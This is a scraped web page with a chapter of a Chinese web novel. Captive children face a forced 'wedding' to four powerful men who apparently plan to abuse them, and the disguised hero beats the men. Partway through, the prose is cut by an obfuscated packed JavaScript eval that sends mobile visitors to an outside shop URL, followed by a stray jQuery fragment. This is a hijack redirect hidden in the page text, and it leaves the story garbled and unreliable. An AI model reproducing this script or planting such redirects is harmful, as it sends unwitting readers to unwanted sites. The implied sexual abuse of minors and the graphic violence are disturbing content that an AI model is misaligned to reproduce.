四名老妈妈候在门口,恨不得自己原地消失。见汤姆出来,众人欢欢喜喜要带他去打扮,却见他怀中抱了人,当下几个妈妈踌躇了。
德格朗日太太看向大人,他们大喘着气,尖叫阵阵,定是不能打扰了。她转而拦着汤姆,劝他把人放回去。
汤姆轻轻一晃掠过她。其他妈妈反应过来,随德格朗日太太一起劝人。汤姆身后仿佛跟了群叽叽喳喳的麻雀。他心有厌烦,且思及少女的伤势,便大跨步行走。
太太们虽有高挑的,到底年迈,几下便被汤姆甩在身后。
杜洛克太太忙小跑上前。“我带你去女仆的房间。那里有酒精和剪刀。”
其他太太们质问,杜洛克太太振振有词:“难道随他乱跑?耽搁了婚礼怎么办?”
德格朗日为首的太太默。
幸好汤姆为少女包扎好枪伤,便乖乖随她们回房,任由她们打扮。
城堡早已备下各式婚纱。大人有意为童男童女举办婚礼,只待结束后享用这对新婚夫妇。
太太们完全按照新娘的标准打扮汤姆。
尽管汤姆是个大男人,但他的五官足以叫人忽略性别。那张奶油般光滑细腻的脸蛋几乎找不到一寸需要铺粉的地方。皮肤自然透出清嫩的玫瑰粉,眼珠熠熠发光,嘴唇红艳如火,睫毛是天生的羊毛卷。硬要挑剔,便是眉毛稍微旺盛了。
太太忙将它修剪。
两弯细眉一出,顿时削减了眉宇的锐利,
然后她们让汤姆穿上蓬松拖地的婚纱。胸前蕾丝装饰,用珍珠链收紧腰部。颈间箍着条钻石项圈,流苏般下垂,夺目的光彩闪烁在他的锁骨间。黑发笼罩在薄而轻的头纱下,额前有珠链,中心是一颗鸽子蛋大的宝石。整个人看上去流光溢彩。
几个太太看满意了。童男童女们却哭了起来。太太们好言相劝,汤姆摆手请她们退下。几人面面厮觑,杜洛克太太率先转身,其他人跟上。
很快屋内只剩下了汤姆和少年们。
汤姆抹去他们的泪珠。“他们无法伤害我。”
少年们只当安慰话。他们不敢想象,如果连汤姆这样的人都遭受了伤害。他们该怎么办?只能顺从吗?
而后汤姆趁机打探消息。
人们告诉他,城堡管理严格,所有人必须集体行动。哪怕是上厕所,也必须有大人们的许可,集中在早晨十一点解决。
完全没有人身自由的管控,还有四个持枪士兵的威胁。汤姆蹙眉,感觉棘手了。
晚上。
婚礼大厅。
少年们拎着花篮,四位新郎穿了西服,一派正人君子的模样。卫兵们着军装,持枪站立。本该风姿凛凛,奈何脸上有伤,反突显出滑稽。若是打个哈欠,还会牵动了伤口,面庞立刻狰狞。
冷静下来的公爵几人心疼坏了,不免迁怒新娘。他们唯恐影响了卫兵晚上的发挥。
大门缓缓拉开,几个太太笑容满面,哪怕见大人们板着脸,也不慌张,边说讨好话,边往两侧退。
果然,见着夫人,大人哪里还记得生气?
他们连魂都找不着了,足足愣了半晌。回过神时,人已经站在汤姆面前!
近距离之下,大人们更是被美冲击得神魂颠倒,宛如醉了酒的大汉,个个说话不利索。
他们重复了几遍,太太们方才听出,大人在催促快开始婚礼。
杜洛克太太几人忙不迭走去主位。
由于城堡身份最高的人都是新郎,需另找人主持婚礼。四个太太虽是妓女,身份下贱。好歹是个人才。大人尊重人才,特许她们来当主礼人。
这么漂亮纯洁的人物今晚就会被玷污!
有人兴奋交加,也有人流露悲意。少年们还多出了一种感同身受的痛苦。他们实在不忍心见汤姆被作践,根本笑不出来。
不知从哪响起了抽泣声。没过两三秒,室内顿时沦为汪洋。极少数少年勉强克制了泪水,表情却无论如何也称不上欢喜。
新郎们怒不可遏。
“哭丧什么!给我微笑。笑!”
“笑容呢?快快露出来。”
公爵威胁:“你们这幅样子想挨鞭子吗!?”
总统哀伤表示:“你们在破坏婚礼,你们该被惩罚。”
或命令,或暴力的呵斥,或威胁,声的浪潮无尽头地起伏而来。少年们倍感屈辱。有人眼泪流淌得快了,也有人扯出一个难看的微笑。他却只得了新郎的破口大骂。
法官愤懑道:“笑成猪样,是在嘲讽我们吗!?我要把你送进注定挨宰的猪厩,剥了皮,缝在猪脸上!”
在汤姆忍不下、决定不顾步枪暴打几人时,钢琴师猛然窜出来。她邀请杜洛克太太,两人手舞足蹈,声情并茂地讲着滑稽话,几下便逗乐了少年,几位大人也乐不可支。
随后钢琴师奏乐,新郎们和新娘走到证婚人跟前。杜洛克太太依次询问了四个大人,轮到汤姆时出了意外。
汤姆没有回答愿意,而是向四人提问:“我嫁给你们,这些人怎么办?会放过他们吗?”
他问的是少年们。
总统听了这话发笑。“你在向我提要求?”
那几人纷纷笑了起来。
主教说:“你们都是我们的财产。为什么要让主人为难?明明才说过,你身为夫人,万万不能骄纵,如今竟然想要霸占我们!”
法官说:“我们身边容不下善妒的夫人!你必须学会包容。”
汤姆火气直冒,又听公爵说:“这么说来,白天那个不守规矩的女孩儿在哪儿?海格力斯,把她带来。我们用她的血庆祝婚礼,也让夫人看看忤逆的下场!”
士兵领命,没有片刻犹豫飞速出门。
汤姆看着剩下三人问:“你们不去吗?”
三人因下午的事儿,对汤姆多怀怨念,将他视为仇敌。如今仇人被打扮成女孩,按理来说应当叫他们痛快,然而看着汤姆的盛装打扮,他们心神颤动,竟然渴望得到他。他们拼命压抑了悸动,却在汤姆看来这一眼时,全部功亏一篑!
某个瞬间他们甚至产生了能为美人去死的想法。
大人们暴怒。又在觊觎夫人!?他们忘了往日在床上的温存,打
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17738605|208432||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
骂士兵,踢他们屁股,把人踹出门。
现在只有公爵、少年们、四个妈妈和汤姆。
汤姆说:“把门关上。”
大人没反对。离门最近的少年行动了。汤姆对他比嘴势。少年只犹豫了一下便照做了。
锁门轻响传来。
法官投去锋利的一眼。“你做什——”
他话没说完,叫汤姆踢了一脚直接趴地。公爵惊怒,立马抡起拳头飞来,他身体有两个汤姆那般壮。汤姆连连闪躲,期间给了愣在原地没反应的总统一巴掌。体型瘦削的总统立马被他扇倒在地。
四个同伴,眨眼间倒了两个!
主教尖叫后退,汤姆躲着公爵的拳头去追他。公爵跟在他两身后,他体格虽大,常年骄奢淫逸令他身形笨重,加上童男童女似有若无的阻挠,让汤姆轻易把自己当猴耍!眼睁睁看着汤姆撕了婚礼裙摆,把主教当球抽,还有余力将好不容易站起身的法官踹飞。总统在地上瑟瑟发抖,哪敢起身!
空中响起号叫:“接住我!”
少年们整整齐齐地往旁边躲开,甚至有人瞄准落脚点,悄悄踢去一个花篮。法官摔破了木桌!脑袋磕在花篮边沿,篮子一翘,花瓣纷纷扬扬。有几片堵住了法官的鼻子,他一口气没上来,晕过去了!
“我要揍死你!再将尸体灌大肚子!”
公爵粗暴推开眼前的少年。主教被打得和总统一起蜷伏地面,抱着脑袋哎哟哟呼痛,他气不过,看着挡路的泽菲尔,不管他昨日还抱着人耳鬓厮磨,一脚踹去,在他想踹第二脚时。劈头盖脸砸来几个花篮。花瓣洒落,糊了他眼睛。
公爵呸呸几声,抹了把脸,迎面撞见一块带了蕾丝的白布。下一秒脑袋被蒙住,整个人被拽倒。壮实的身躯几乎要把地板砸开!汤姆踩着他的肩膀,收紧长布,被勒住下巴和脖子,公爵奋力挣扎。四肢把地面敲得哐哐响!
几个少年走近。
公爵听了脚步声大叫:“快!快救我!我会奖励你们!”
泽菲尔擦去嘴角的血。“奖励?”
“没错,没错!”公爵忙不迭道,下一秒他的嘴巴骤然一疼。
挥出拳头的少年假惺惺呼喊:“不要挤!快救大人!”
泽菲尔一动,其他少年悉数效仿。人们叫着救公爵,手脚却没马虎,全往公爵身上招呼。
公爵脸上白纱浸润血液。两腿之间淌出一滩水。其余三人也叫少年们噼里啪啦一顿好揍。法官更是被打醒又揍晕。
门口望风的少年猝然叫:“来人了!”片刻后赶紧补充:“大人们别怕!来人了!”
汤姆示意少年们离开,他扯下套住四人脑袋的白纱。得见天日的几人还未松气,迎面几巴掌,扇得人晕乎乎。他们吐出了掺杂牙齿的血沫。汤姆冲他们轻蔑地笑,漫不经心揉着指骨,而后又是几拳。几个大人在地上痛得打滚。行凶者却显得高高在上,他们要仰头才能望着人,还得挨几个耳光。
当士兵们冲破大门,把大人护在身后。四个大人脸色潮红,哆嗦地指着汤姆说:
“你!当我们的丈夫。”